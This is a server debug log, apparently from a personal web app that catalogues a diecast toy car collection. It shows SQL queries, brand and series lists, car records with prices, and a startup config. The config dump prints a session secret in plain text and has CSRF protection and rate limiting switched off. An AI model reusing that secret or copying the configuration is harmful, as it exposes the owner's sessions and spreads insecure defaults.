    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:31:25.056Z server-connect:app Executing action step identify
2026-02-12T13:31:25.056Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:25.056Z server-connect:output identity: 1
2026-02-12T13:31:25.056Z server-connect:app Executing action step restrict
2026-02-12T13:31:25.056Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:25.057Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:31:25.059Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:31:25.060Z server-connect:output restrict: undefined
2026-02-12T13:31:25.060Z server-connect:app Executing action step select
2026-02-12T13:31:25.060Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:25.061Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:31:25.063Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:31:25.064Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:31:25.065Z server-connect:app Executing action step identify
2026-02-12T13:31:25.065Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:25.065Z server-connect:output identity: 1
2026-02-12T13:31:25.065Z server-connect:app Executing action step restrict
2026-02-12T13:31:25.065Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:25.065Z server-connect:output restrict: undefined
2026-02-12T13:31:25.065Z server-connect:app Executing action step select
2026-02-12T13:31:25.065Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:25.066Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:31:25.066Z server-connect:app Executing action step select
2026-02-12T13:31:25.066Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:25.067Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:31:25.067Z server-connect:app Executing action step select
2026-02-12T13:31:25.067Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:25.068Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:31:41.225Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-02-12T13:31:41.408Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-02-12T13:31:41.506Z server-connect:setup:upload Upload middleware configured.
2026-02-12T13:31:41.506Z server-connect:secure CSRF Protection initialized
2026-02-12T13:31:41.509Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-02-12T13:31:41.510Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-02-12T13:31:41.511Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-02-12T13:31:41.511Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-02-12T13:31:41.512Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-02-12T13:31:41.513Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-02-12T13:31:41.514Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-02-12T13:31:41.514Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-02-12T13:31:41.515Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-02-12T13:31:41.518Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-02-12T13:31:41.549Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-02-12T13:31:41.550Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-02-12T13:31:41.550Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-02-12T13:31:41.551Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-02-12T13:31:41.551Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2026-02-12T13:31:41.551Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2026-02-12T13:31:41.552Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2026-02-12T13:31:41.552Z server-connect:setup:routes Api route /api/health/log-set(.json)? created
2026-02-12T13:31:41.552Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2026-02-12T13:31:41.553Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2026-02-12T13:31:41.553Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2026-02-12T13:31:41.553Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
